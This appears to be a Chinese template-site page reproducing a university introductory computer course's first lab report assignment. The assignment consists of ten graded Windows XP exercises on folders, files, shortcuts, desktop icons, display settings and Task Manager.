图22 干燥实验报告(2)

图23 干燥实验报告(3)

图24 干燥实验报告(4)

图25 精馏实验 动态平衡调整

图26 精馏实验报告(1)

图27 精馏实验报告(2)

第20篇:大学计算机基础第一次实验报告作业

《大学计算机基础》第一次实验报告

 对象:学习《大学计算机基础》I-II课程的所有本科学生  目的:检验大家对Windows XP基本知识的掌握情况

 填写报告内容:如实填写完成下面操作所涉及到的命令以及操作过程,每完成一道题需有截屏图片(图片大小以35*35mm为好)为证。如果报告册不够填写请用A4纸填写并粘贴在报告册相应的位置。在报告内直接写内容不需要抄题。

 要求:以下操作为每位学生独立完成!如有雷同,全部按0分处理,全部完成按100分记分。

1.请在D盘根目录下建一个文件夹,名字为“MyFile”,请问建此文件夹有几种方法,分别写出它的具体步骤。(步骤方法7分,截图3分)

2.请用记事本和快捷方式分别建两个文本文件,名字分别为T1.txt和T2.txt,并将它们保存在“MyFile”文件夹内,分别写出创建的具体步骤。(步骤方法7分,截图3分)

3.用快捷方式将T1.txt复制到D盘根目录下,用Ctrl+C和Ctrl+V将复制到D盘根目录下,并更名为“我的文件”,写出具体的操作步骤。(步骤方法7分,截图3分)

4.将T2.txt文件用快捷方式“发送”到桌面,观察在桌面上创建了文件夹快捷方式还是文件快捷方式我?写出具体的操作步骤。(步骤方法7分,截图3分)

5.写出打开“添加或删除程序”的具体操作步骤。(步骤方法7分,截图3分)

6.在新安装的Windows XP操作系统的桌面上如何添加“我的电脑”、“我的文档”、“网上邻居”的图标,写出具体的操作步骤。(步骤方法7分,截图3分)

7.在什么地方可以设置显示器的分辩率?写出具体的操作步骤。(步骤方法7分,截图3分)

8.如何在“任务管理器”中结束正在运行的应用程序,写出具体的操作步骤。(步骤方法7分,截图3分)

9.分别写出菜单的种类和具体的名称。(文字描述6分,截图4分)

10.Windows XP的窗口与对话框区别。(文字描述6分,截图4分)

大学实验报告格式范文
《大学实验报告格式范文.doc》
将本文的Word文档下载到电脑,方便编辑。
推荐度:
点击下载文档
相关专题
点击下载本文文档